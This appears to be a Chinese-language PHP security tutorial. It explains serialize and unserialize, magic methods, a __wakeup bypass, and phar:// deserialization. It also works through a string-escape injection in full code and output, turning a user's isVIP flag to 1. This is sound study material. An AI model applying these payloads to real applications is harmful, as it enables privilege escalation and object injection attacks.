序列化:把对象转换为字节序列的过程称为对象的序列化
PHP中的序列化函数是serialize()
serialize()函数用于序列化对象或数组,并返回一个字符串。serialize()函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。
| 语法 | string serialize ( mixed $value ) |
| 参数说明 |
$value: 要序列化的对象或数组。 |
| 返回值 |
返回一个字符串。 |
示例:
<?php
highlight_file(__FILE__);
$sites=array('I', 'Like', 'PHP');
echo'<br/>';
var_dump(serialize($sites));
echo'<br/>';
classman{
public$name="xiaocui";
public$sex="man";
private$age=26;
}
$M=newman();
var_dump(serialize($M));
?>
输出结果为:
string(47) "a:3:{i:0;s:1:"I";i:1;s:4:"Like";i:2;s:3:"PHP";}"
string(79) "O:3:"man":3:{s:4:"name";s:7:"xiaocui";s:3:"sex";s:3:"man";s:8:"manage";i:26;}"
反序列化:把字节序列恢复为对象的过程称为对象的反序列化
PHP中的反序列化函数unserialize()
序列化的作用
①可以把对象的字节序列永久放在磁盘中,需要时可以随时调用,大大节省磁盘占用空间。
②在传输过程中可以直接传输字节序列,而不是对象,这可以大大提高传输速率。
魔术方法
PHP将所有以__(两个下划线)开头的类方法保留为魔术方法。
__construct()
具有 __construct函数的类会在每次创建新对象时先调用此方法
__destruct()
析构函数只有在对象从内存中删除之前才会被自动调用。
该函数会在到某个对象的所有方法都被引用后或者当对象被销毁时(unset()函数)执行
__sleep()
在使用serialize()函数时,程序会检查类中是否存在一个__sleep()魔术方法。如果存在,则该方法会先被调用,然后再执行序列化操作。
__wakeup()
在使用unserialize()时,会检查是否存在一个__wakeup()魔术方法。如果存在,则该方法会先被调用。
php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
php 反序列化漏洞:当反序列化字符串时,如果表示属性个数的值大于真实属性个数,就会跳过_wakeup函数的执行。
当用户先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化,这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。
过滤后字符变多
假设我们先定义一个user类,然后里面一共有3个成员变量:username、password、isVIP。
|
1
2
3
4
5
6
7
8
9
10
|
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
|
可以看到当这个类被初始化的时候,isVIP变量默认是0,并且不受初始化传入的参数影响。
接下来把完整代码贴出来,便于我们分析。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
$a = new user("admin","123456");
$a_seri = serialize($a);
echo $a_seri;
?>
|
这一段程序的输出结果如下:
|
1
|
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
|
可以看到,对象序列化之后的isVIP变量是0。
这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:
|
1
2
3
|
function filter($s){
return str_replace("admin","hacker",$s);
}
|
因此整段程序如下:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user("admin","123456");
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
|
这一段程序的输出为:
|
1
|
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
|
这个时候我们把这两个程序的输出拿出来对比一下:
|
1
2
|
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
|
可以看到已过滤字符串中的hacker与前面的字符长度不对应了
|
1
2
|
s:5:"admin";
s:5:"hacker";
|
在这个时候,对于我们,在新建对象的时候,传入的admin就是我们的可控变量
底层代码是以;作为字段的分隔,以"}"作为结尾, 反序列化 时,结尾后的字符串会被忽略掉
接下来明确我们的目标:将isVIP变量的值修改为1
首先我们将我们的现有子串和目标子串进行对比:
|
1
2
|
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
|
也就是说,我们要在admin这个可控变量的位置,注入我们的目标子串。
首先计算我们需要注入的目标子串的长度:
|
1
2
|
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
|
因为我们需要逃逸的字符串长度为47,并且admin每次过滤之后都会变成hacker,也就是说每出现一次admin,就会多1个字符。
因此我们在可控变量处,重复47遍admin,然后加上我们逃逸后的目标子串,可控变量修改如下:
|
1
|
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
|
完整代码如下:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
|
程序输出结果为:
|
1
|
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
|
我们可以数一下hacker的数量,一共是47个hacker,共282个字符,正好与前面282相对应。
后面的注入子串也正好完成了逃逸。
反序列化后,多余的子串会被抛弃
我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter);
var_dump($a_seri_filter_unseri);
?>
|
程序输出如下:
|
1
2
3
4
5
6
7
8
|
object(user)#2 (3) {
["username"]=>
string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
["password"]=>
string(6) "123456"
["isVIP"]=>
int(1)
}
|
可以看到这个时候,isVIP这个变量就变成了1,反序列化字符逃逸的目的也就达到了。
php pop链
以上讲的都是只有一个类的例子,当类的个数多起来并且相互之间有所联系时,我们就需要通过pop链来达到漏洞。
1.回顾一下原先 PHP 反序列化攻击的必要条件
(1)首先我们必须有 unserailize() 函数
(2)unserailize() 函数的参数必须可控
这两个是原先存在 PHP 反序列化漏洞的必要条件,没有这两个条件你谈都不要谈,根本不可能,但是有了下面这个方法就有可能
2.phar:// 如何扩展反序列化的攻击面的
原来 phar 文件包在 生成时会以序列化的形式存储用户自定义的 meta-data ,配合 phar:// 我们就能在文件系统函数 file_exists() is_dir() 等参数可控的情况下实现自动的反序列化操作,于是我们就能通过构造精心设计的 phar 包在没有 unserailize() 的情况下实现反序列化攻击,从而将 PHP 反序列化漏洞的触发条件大大拓宽了,降低了我们 PHP 反序列化的攻击起点。
3.具体解释一下 phar 的使用
phar(PHp ARchive)是类似于JAR的一种打包文件。PHP ≥5.3对Phar后缀文件是默认开启支持的,不需要任何其他的安装就可以使用它。
漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。
phar文件格式:
phar文件由四部分组成
1.stub
stub是phar文件的文件头,格式为xxxxxx<?php ...;__HALT_COMPILER();?>,xxxxxx可以是任意字符,包括留空,且php闭合符与最后一个分号之间不能有多于一个的空格符。另外php闭合符也可省略。
2.manifest describing the contents
该区域存放phar包的属性信息,允许每个文件指定文件压缩、文件权限,甚至是用户定义的元数据,如文件用户或组。
![]()
这里面的metadata以serialize形式储存,为反序列化漏洞埋下了伏笔。
3.file contents
被压缩的用户添加的文件内容
4.signature
可选,phar文件的签名,允许的有MD5, SHA1, SHA256, SHA512和OPENSSL.
![]()